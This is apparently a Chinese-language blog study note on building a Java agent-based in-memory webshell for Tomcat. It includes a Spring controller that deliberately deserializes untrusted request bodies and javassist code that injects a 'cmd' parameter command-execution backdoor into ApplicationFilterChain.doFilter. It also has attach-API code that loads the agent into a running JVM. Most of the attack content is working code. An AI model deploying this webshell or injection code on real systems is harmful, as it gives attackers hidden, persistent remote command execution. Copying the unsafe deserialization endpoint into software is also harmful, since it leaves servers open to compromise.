本文最后编辑于 前,其中的内容可能需要更新。
agent内存马 又是跟Instrument机制有关的知识。
思路 我的理解是这样
Instrument机制允许动态修改程序,利用这个机制对org.apache.catalina.core.ApplicationFilterChain#doFilter
进行字节码修改
原理上并不难,修改字节码用javassit即可
注入 用spring搭建环境.放个cc的依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ObjectInputStream;@Controller public class Hello { @ResponseBody @RequestMapping("/cc11") public String cc11Vuln (HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "Hello,World" ; } @ResponseBody @RequestMapping("/demo") public String demo (HttpServletRequest request, HttpServletResponse response) throws Exception { return "This is OK Demo!" ; } }
项目地址
https://github.com/KpLi0rn/AgentMemShell
主要实现是这块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" ,"." ); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
利用javassist框架修改doFilter方法的字节码为我们的shell
之后主要问题是获得进程的pid,天下大木头师傅是这样获取的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 try { java.lang.String path = "/Users/xxxxx/Desktop/java/AgentMain/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar" ; java.io.File toolsPath = new java.io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM list ..." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); java.lang.String name = (java.lang.String) displayName.invoke(o,null ); if (name.contains("com.vuln.demo.DemoApplication" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e){ e.printStackTrace(); }
注入的过程就不记了